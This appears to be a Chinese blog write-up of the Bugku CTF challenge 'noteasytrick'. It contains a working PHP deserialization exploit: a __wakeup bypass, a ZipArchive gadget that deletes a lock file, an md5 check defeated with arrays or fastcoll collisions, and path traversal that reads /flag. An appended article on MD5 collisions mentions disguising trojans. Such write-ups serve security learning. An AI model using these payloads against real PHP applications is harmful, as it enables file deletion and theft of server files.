bugkuctf | noteasytrick 反序列化漏洞

2 篇文章 0 订阅
1 篇文章 0 订阅

bugku-noteasytrick

分析代码

<?php
error_reporting(0);
ini_set("display_errors","Off");
class Jesen {
    public $filename;
    public $content;
    public $me;

    function __wakeup(){
        $this->me = new Ctf();
    }
    function __destruct() {
        $this->me->open($this->filename,$this->content);
    }
}
# Jesen 类包含了三个公有属性 $filename、$content 和 $me。当对象被反序列化时,__wakeup 魔术方法会将 $me 属性实例化为一个 Ctf 对象;当对象被销毁时,__destruct 魔术方法会调用 $me 属性的 open 方法。

class Ctf {
    function __toString() {
        return "die";
    }
    function open($filename, $content){
        if(!file_get_contents("./sandbox/lock.lock")){
            echo file_get_contents(substr($_POST['b'],0,30));
            # 当./sandbox/lock.lock 文件不存在时,将$_POST['b']参数的前30个字符作为文件名,读取对应文件的内容并输出
            # 这条是关键!后面可以利用 file_get_contents 查看文件内容
            die();
        }else{
            file_put_contents("./sandbox/".md5($filename.time()),$content);
            die("or you can guess the final filename?"); 
        }
        #如果 ./sandbox/lock.lock 文件存在,就会使用 $filename 和当前时间的 md5 值拼接出一个新的文件名,并把 $content 写入到这个文件中。最后输出 or you can guess the final filename? 并结束脚本。
    }
}

if(!isset($_POST['a'])){
    highlight_file(__FILE__);
    die();
}else{
    if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a']))){
        unserialize($_POST['c']);
        echo "right";
    }else{
        echo "false";
    }
}
# 如果 $_POST['a'] 存在,且 $_POST['b'] 不等于 $_POST['a'],且 md5($_POST['b']) 等于 md5($_POST['a']),那么会对 $_POST['c'] 进行反序列化。

思路

两个主要的if判断,两个反序列化会调用的魔法函数: __wakeup() __destruct()

if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a'])))
md5()函数无法处理数组,所以可以用数组绕过

后面需要 b 指定文件,可以用fastcoll_v1.0.0.5 生成两个md5值相同、内容不同的文件
if(!file_get_contents("./sandbox/lock.lock")){
            echo file_get_contents(substr($_POST['b'],0,30));
这条说明:先删 ./sandbox/lock.lock ,再构造 b 参数,前30位为文件名(包含路径)

先干掉./sandbox/lock.lock,只有这个文件不存在时,才会执行echo file_get_contents(substr($_POST['b'],0,30)); 再构造b读取文件

访问发现这文件是存在的

locked


可以利用内置类ZipArchive./sandbox/lock.lock

function __wakeup(){
    $this->me = new Ctf();
}
function __destruct() {
    $this->me->open($this->filename,$this->content);
}
__wakeup() 可以用错误的属性数来绕过
__destruct中的open语句和ZipArchive内置类的语句有点相似,可以用来删文件

ZipArchive是php自带zip压缩、解压缩类 ZipArchive 更多参数介绍

$zip = new ZipArchive(); 
$zip->open('test_new.zip', ZipArchive::OVERWRITE)  #参数1是文件,参数2是操作。
    
ZipArchive::open(string $filename [, int $flags ])
第二个参数有:
ZIPARCHIVE::OVERWRITE 预置常量为 8。总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖。
ZIPARCHIVE::CREATE        如果不存在则创建一个zip压缩包。
ZIPARCHIVE::EXCL	 如果压缩包已经存在,则出错。
ZIPARCHIVE::CHECKCONS	对压缩包执行额外的一致性检查,如果失败则显示错误。   
    
可以利用
$zip = new ZipArchive(); 
$zip->open('./sandbox/lock.lock', ZipArchive::OVERWRITE)
来删除 ./sandbox/lock.lock 文件

操作

第一步:

构造

<?php
class Jesen {
        public $filename;
        public $content;
        public $me;
}
$c = new Jesen();
$c->me = new ZipArchive();
$c->filename = './sandbox/lock.lock';
$c->content = 8; # 这里用 ZipArchive::OVERWRITE 代替,序列化出来就是8,也可以直接用8,这是 ZipArchive::open 中的预置常量
$c1 = serialize($c);
$c1 = str_replace('":3:', '":4:', $c1); # 这一步是设置错误的Jesen属性数,绕过__wakeup
echo $c1;
# O:5:"Jesen":4:{s:8:"filename";s:19:"./sandbox/lock.lock";s:7:"content";i:8;s:2:"me";O:10:"ZipArchive":5:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}}

上面序列化的就是构造好的c了,因为这一步只要删了lock.lock就行了,所以ab用数组绕过

a[]=1&b[]=2&c=O:5:"Jesen":4:{s:8:"filename";s:19:"./sandbox/lock.lock";s:7:"content";i:8;s:2:"me";O:10:"ZipArchive":5:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}}

post上传成功删除

成功删除


第二步:

利用fastcoll工具生成符合“内容不同、md5值相同”条件的两个文件

fastcoll_v1.0.0.5.exe 1.txt
或
fastcoll_v1.0.0.5.exe -p 1.txt -o 2.txt 3.txt
生成的两个文件前面内容是一样的,后面不同

fastcoll官网

根据题目给的提示 flag在/flag ,和代码中的 substr($_POST['b'],0,30),可以构造:

./../../../../../../../../flag 刚好30位

生成两个文件 1_msg1.txt1_msg2.txt

getflag
<?php
$postdata = http_build_query(
    array(
        'a' => file_get_contents("1_msg1.txt"),
        'b' => file_get_contents("1_msg2.txt"),
        'c' => "O:5:\"Jesen\":3:{s:8:\"filename\";N;s:7:\"content\";N;s:2:\"me\";N;}"
    )
);
$opts = array('http' =>
              array(
                  'method' => 'POST',
                  'header' => 'Content-type: application/x-www-form-urlencoded',
                  'content' => $postdata
              )
);
$context = stream_context_create($opts);
$result = file_get_contents('http://114.67.175.224:18647/', false, $context);
echo $result;
?>

getflag


MD5是目前最热门的加密算法,我们通常用MD5值来验证文件的完整性。例如在一些比较正规的下载网站,通常会提供软件的MD5值,这样我们就可以对下载回来的文件用MD5校检软件(如HashX等)做一次MD5校验,以确保我们获得的文件与该站点提供的文件为同一文件。但当两个不同文件的MD5值完全一样时,你还会信任MD5吗? 找出破解MD5加密方法的专家是我国山东大学的王小云教授,这则新闻在以前的软件版块曾详细报道过。但之后MD5的破解一直没有进展,直到最近,国外的科学家研究出了新的MD5碰撞破解方法,可以让两个不同文件的MD5值完全一样,而之前我们一直认为一个文件的MD5值在世界上是独一无二的,这就像一个人克隆了你的指纹然后冒充你一样恐怖! 为了验证MD5值的独一无二性,我们来做一个简单的试验: 在桌面上新建一个文本文档,文件名为“test.txt”,内容为“OfficeBa”。然后将这个文本文档拖动到校验工具HashX中,点击左上角的“Hash File”按钮,得到其MD5值为051cb2917a5b70505e1687dee449c765,然后为文档中的“OfficeBa”加上双引号,保存后再通过HashX进行校检,发现MD5值变成了9ab117400993b70bc9945a9b15749d5d了。可见,一个极细微的变动都会导致文件的MD5值不同! 那么我们能让两个程序文件的MD5一致,却又都能正常运行,并且可以做完全不同的事情么?答案是:“可以!”。要让两个不同文件的MD5值相同,可以通过一款名为fastcoll的小工具来完成我们同样以刚才的test.txt来做试验: -h [--help] 显示选项 -q [--quiet] 简化 -i [-ihv] arg 使用指定的初始值,默认是md5初始值 -p [-prefixfile] arg 使用给定的前缀计算初始值,仍然把数据复制到输出文件中(必须是个文件名) -o [--out] arg 指定输出文件名,此选项必须是最后一个参数,而且两个文件名必须同时指定 默认的是 -o msg1.bin msg2.bin 把解压出来的fastcoll_v1.0.0.5.exe与test.txt放在同一目录,然后在“命令提示符”中输入:“fastcoll_v1.0.0.5.exe -i test.txt -p test.txt -o cbi.exe cbi2.exe”并回车,在同目录中会生成名为cbi.exe和cbi2.exe文件,我们用HashX校验他们的MD5值,可以发现是完全一样的,但是在HashX中用“SHA-1”加密算法进行校验的时候,结果竟然是不同的(SHA-1加密算法生成的结果也是独一无二的)!可见这已经是完全不同的两个文件,但是他们的MD5值竟然完全相同。 如果黑客从网上下载一个工具,给其捆绑上木马,然后通过工具让其MD5值和原文件一样。那么当用户下载了文件后用MD5校验工具进行校验时就会发现带毒文件和原文件MD5值完全一样,就会放心地去运行,结果可想而知。所以,MD5加密已经不再可信!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值